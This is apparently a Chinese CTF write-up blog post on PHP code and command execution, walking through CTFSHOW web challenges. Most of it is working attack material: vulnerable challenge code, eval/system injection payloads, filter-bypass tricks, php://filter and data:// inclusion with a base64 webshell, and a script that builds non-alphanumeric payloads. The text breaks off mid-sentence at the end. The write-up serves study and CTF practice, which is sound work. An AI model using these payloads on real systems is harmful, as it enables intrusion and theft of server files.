title: PHP中的命令执行与代码执行
data: 2021-09-15
tags: CTF-web
最近在复习之前学过得知识点。因为之前是0基础来学习的,所以很多东西可能是没有弄懂的。现在重新回顾一下命令执行这一块。学到了不少的知识。
然后题目的话全都是来源于CTFSHOW的web入门。
对我这种新手来说真是太友好了!
在PHP中我们首先要搞清楚什么是代码执行,什么是命令执行。
通俗一点讲,代码执行是执行PHP代码。命令执行是执行linux系统下的命令。
这两者是有区别的。有些代码在php下看起来是有错的,但是在linux下是正确的。
在下面的文章里遇到了再分析。
在PHP中,允许我们自行传入php代码并执行。一般我们常用的有以下几种:
1.eval($string): 把参数中的字符串当做php代码执行。该字符串必须是合法的代码,且必须以分号结尾。 这里强调了合法代码和分号结尾。 我们可以理解为eval()执行了一个相当于为$string添加php短标签的功能即 <?php $string 当不能使用分号时,可以利用?>来代替。因为php语法中,最后一句php代码可以不闭合。 #这里需要格外指出,eval()是一个语言构造器而不是一个函数,不能被可变函数调用。 ------------------------------------------------------------------------------------------------------------------- 2.assert($assertion): 如果assertion是字符串,那么将会被assert()当作php代码执行。且可以不以分号结尾。 #在PHP7以前assert是作为函数。PHP7以后,assert与eval一样。都是语言构造器。这个知识点可能会出现在$_POST[1]($_POST[2])中 ------------------------------------------------------------------------------------------------------------------- 3.call_user_func($func,$string): 该函数用于函数调用。我们第一个参数作为调用函数,第二个作为回调函数的参数。算不上代码执行。只能说是一个危险函数。
在PHP中,允许我们执行系统程序命令。一般有以下函数:
1.system(): 执行一个外部程序命令,并且输出执行结果,返回最后一行。 #这里理解一下输出执行结果,返回最后一行。是指先将命令执行的结果打印出来,然后再将最后一行作为返回值。 #可以理解为它函数内部存在一个 print($result);return last->result;这样子。 #如果命令中需要用空格分开的话,就需要对执行的命令加上引号。 ------------------------------------------------------------------------------------------------------------------- 2.exec(): 执行一个外部程序。并返回执行结果最后一行的内容。 #这里只返回执行结果的最后一行内容。不会有输出打印。 ------------------------------------------------------------------------------------------------------------------- 3.passthru(): 执行外部程序并且显示原始输出 ------------------------------------------------------------------------------------------------------------------- 4.shell_exec():该函数等价于 ` ` 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 #该函数不会显示执行结果。需要加echo才会打印输出结果。``是shell_exec()的简化形式。实际是同一个函数。 -------------------------------------------------------------------------------------------------------------------
more:一页一页的显示档案内容 less:与 more 类似 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:显示的时候,顺便输出行号 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看
空格的绕过: 1.%09 2.重定向 <> 3.${IFS} 4./**/ 注释符 某些字符串被过滤: 1.cat--> ca\t 2.flag-->fl\ag-->fla''g 3.f*-->fla?????
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } #payload:?c=system(cat f*);
没什么好说的。过滤了flag.但是随便绕。举个栗子。
在linux系统中: ca\t f''lag.php == cat flag.php ca\t f\lag.php == cat flag.php 没什么好说的
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } #payload:?c=passthru('cat f*');
过滤了system,用passthru代替。
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } #payload:?c=passthru('more%09f*');
空格被过滤了。使用%09代替。也可以使用
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } #payload:?c=include"$_GET[1]"?>&1=php://filter/convert.base64-encode/resource=flag.php ### web 33:过滤了单双引号 #payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ### web 34:过滤了: #payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ### web 35: #payload:?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php ### web 36:过滤了数字 #payload:?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
本题因为分号被过滤了。因此我们采用?>闭合。并且php中有许多不用括号的函数。因此这里我们利用这个include并结合文件包含的漏洞
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag; } }else{ highlight_file(__FILE__); } #payload: GET:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4= POST:1=system("cat flag.php");
很明显的文件包含执行PHP代码。因为过滤了flag因此我们不能使用filter协议。
那么采用data协议写马。
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c.".php"); } }else{ highlight_file(__FILE__); } #payload:?c=data://text/plain;base64,<?php system("cat f*")?>
这里在c后面添加了.php但是我们的代码中已经闭合。有没有这个.php影响都不大
<?php if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); } #payload:?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
Localeconv() | 返回包含本地数字及货币格式信息的数组 | 该函数的第一个值就是"." |
Cuurent() | 返回数组中当前元素的值 | |
Next() | 指针指向下一个元素并且输出 | |
Array_reverse() | 以相反的顺序返回数组 | |
Print_r() | 打印变量 | |
Higlight_file | 高亮显示文件,没什么好说的 | |
Show_source | 跟highlight_file一样的效果。 | |
Array_reverse | 倒序数组 | |
Array_rand | 随机取出数组中的一个或多个单元 | |
Array_filp | 交换数组的键和值 | |
Readfile | 读文件 | |
sessionid() | 返回当前会话ID | |
scandir(directory,sorting_order,context) | 以数组形式返回文件和目录 | 第一个参数是目录,第二个是排序方式 |
pos | 取第一个值 |
这题没什么好说的。ban了异或和取反。留了或。那么利用或构造即可.
<?php if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){ eval("echo($c);"); } }else{ highlight_file(__FILE__); } ?> #payload:c='');('%13%19%13%14%05%0D'|'%60%60%60%60%60%60')(('%03%01%14'|'%60%60%60').' '.('%06%0C%01%07%02%10%08%10'|'%60%60%60%60%2C%60%60%60'));//
首先我们需要拼接这个$c,进而完成php语句的构建。先拼接一个echo (’ ');shell;//);
再把中间的shell换成我们的构造的system(‘cat flag.php’)
这里需要注意的是用 . 连接就转成了字符串。就不用我们额外构造了。
贴个大佬的构造脚本
<?php $payload = 'flag.php';//待构造的字母 $length = strlen($payload); $a = ''; $b = ''; $flag = 0; echo '<br>'; for ($l = 0; $l < $length; $l++) { $flag=0; for ($i = 1; $i < 256; $i++) { if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($i))) continue; for ($j = 1; $j < 256; $j++) { if(preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i',chr($j))) continue; if ((chr($i) | chr($j)) === $payload[$l]) { echo urlencode(chr($i)); $a=$a.urlencode(chr($i)); echo '|'; echo urlencode(chr($j)); $b=$b.urlencode(chr($j)); echo '=' . $payload[$l]; echo "<br>"; $flag=1; break; } } if($flag===1){ break; } } } echo $a.'|'.$b;
<?php if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__); } #payload:?c=cat flag.php;
>/dev/null 2>1&1 是没有回显的意思。既然这样我们直接将语句分割开即可。
在Linux中有以下可用于分割语句:
; //分号 | //只执行后面那条命令 || //只执行前面那条命令 & //两条命令都会执行 && //两条命令都会执行
也可以利用php的%0a进行换行处理。
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); } #payload:?c=nl flag.php|| ### web 44:多过滤了flag #payload:?c=nl fla\g.php|| ### web 45:多过滤了空格,用%09绕过 #payload:?c=nl%09fla\g.php|| ### web 46:多过滤了$,数字,* #payload:?c=nl<fla\g.php|| ### web 47:多过滤了几个more tac #payload:?c=nl<fla\g.php|| ### web 48:多过滤了awk,sed,cut,od,curl #payload:?c=nl<fla\g.php|| ### web 49:通杀了 #payload:?c=nl<fla\g.php|| ### web 50:通杀了 #payload:?c=nl<fla\g.php|| ### web 51: #payload:?c=nl<fla\g.php|| ### web 52:多过滤重定向了,换个姿势。 #payload:?c=nl${IFS}fla\g.php||
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); } #payload:?c=nl${IFS}fla\g.php
刚刚还在拿上一题的打,突然发现换题目了。换了,但没完全换。把||去掉就出flag了。
我自己试了试。发现 || 使用的过程中必须存在前两两条命令。问题不大
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); } #payload:?c=vi${IFS}????????
这题ban了太多了。且不允许我们拼接了。但是问题不大。我们还有vim,vi,uniq.
<?php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
可以看到这里没有过滤空格。但是ban了字母分号反单引号,重定向。主要是没了字母我们无法构造命令了。
这里学学姿势吧.
姿势一:首先我们了解下bin目录下会存放我们可以使用的命令。既然没有了字母,我们找一些带数字的命令执行
#payload1:?c=/???/????64 ???????? --->匹配后是:?c=/bin/base64 flag.php
姿势二:/usr/bin目录下有一个bzip2压缩命令。与一些应用软件工具的必备执行档。
#payload2:?c=/???/???/????2 ???????? --->匹配后是:?c=/usr/bin/bzip2 flag.php 会生成一个flag.php.bz2的文件 #之后访问这个文件即可
姿势三:无字母数字的webshell提高篇(P神)
太